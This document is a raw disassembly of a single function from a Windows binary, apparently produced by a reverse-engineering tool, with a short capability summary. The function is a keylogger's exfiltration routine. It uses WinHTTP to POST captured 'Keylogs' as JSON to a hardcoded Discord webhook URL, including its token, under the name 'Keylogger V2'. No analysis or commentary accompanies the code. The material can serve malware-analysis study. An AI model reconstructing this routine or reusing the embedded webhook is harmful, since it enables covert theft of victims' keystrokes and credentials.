Function at 0x140041235
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
jmp 0x14004f7a0
push rbp
push rdi
sub rsp, 0x4d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xc6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400eb040]
xor rax, rbp
mov qword [rbp + 0x488], rax
lea rcx, [0x1400f90fd]
call fcn.1400443ae
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Fontesie_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 8], rax
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.discordapp.com
mov rcx, qword [rbp + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0x28], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._api_webhooks_1259753999855386755__nmm2Dg82Ffh9ASTxGH0Go3rrnl9_ZSaevrIIAsGmZ9BgxpvIGNP9mlueIkrw__9NtKS
lea rdx, str.POST
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x48], rax
lea rdx, str.Keylogs
lea rcx, [rbp + 0x68]
call fcn.140042761
nop
lea rdx, [0x1400ec410]
lea rcx, [rbp + 0xa8]
call fcn.1400416a4
nop
lea rdx, str.16711935
lea rcx, [rbp + 0xe8]
call fcn.140042761
nop
lea r8, [rbp + 0x68]
lea rdx, str._username_:__Keylogger_V2___content_:_null__embeds_:___title_:__
lea rcx, [rbp + 0x308]
call fcn.14004124e
mov qword [rbp + 0x438], rax
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x440], rax
lea r8, str.___description_:__
mov rdx, qword [rbp + 0x440]
lea rcx, [rbp + 0x348]
call fcn.140043f26
mov qword [rbp + 0x448], rax
mov rax, qword [rbp + 0x448]
mov qword [rbp + 0x450], rax
lea r8, [rbp + 0xa8]
mov rdx, qword [rbp + 0x450]
lea rcx, [rbp + 0x388]
call fcn.140042207
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x460], rax
lea r8, str.___footer_:__text_:__CriticalProcessDied___color_:
mov rdx, qword [rbp + 0x460]
lea rcx, [rbp + 0x3c8]
call fcn.140043f26
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x470], rax
lea r8, [rbp + 0xe8]
mov rdx, qword [rbp + 0x470]
lea rcx, [rbp + 0x408]
call fcn.140042207
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov qword [rbp + 0x480], rax
lea r8, str._____attachments_:___
mov rdx, qword [rbp + 0x480]
lea rcx, [rbp + 0x128]
call fcn.140043f26
nop
lea rcx, [rbp + 0x408]
call fcn.140041983
nop
lea rcx, [rbp + 0x3c8]
call fcn.140041983
nop
lea rcx, [rbp + 0x388]
call fcn.140041983
nop
lea rcx, [rbp + 0x348]
call fcn.140041983
nop
lea rcx, [rbp + 0x308]
call fcn.140041983
lea rcx, [rbp + 0x128]
call fcn.140043bc5
mov qword [rbp + 0x438], rax
lea rcx, [rbp + 0x128]
call fcn.140043bc5
mov qword [rbp + 0x440], rax
lea rcx, [rbp + 0x128]
call fcn.1400414d8
mov qword [rsp + 0x30], 0
mov rcx, qword [rbp + 0x438]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x440]
mov dword [rsp + 0x20], ecx
mov r9, rax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 0x164], eax
cmp dword [rbp + 0x164], 0
je 0x14004fa56
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea rcx, [0x1400ec410]
call fcn.140042b21
lea rcx, [rbp + 0x128]
call fcn.140041983
nop
lea rcx, [rbp + 0xe8]
call fcn.140041983
nop
lea rcx, [rbp + 0xa8]
call fcn.140041983
nop
lea rcx, [rbp + 0x68]
call fcn.140041983
lea rcx, [rbp - 0x40]
lea rdx, [0x1400d23b0]
call fcn.140043a67
mov rcx, qword [rbp + 0x488]
xor rcx, rbp
call fcn.1400428dd
lea rsp, [rbp + 0x498]
pop rdi
pop rbp
ret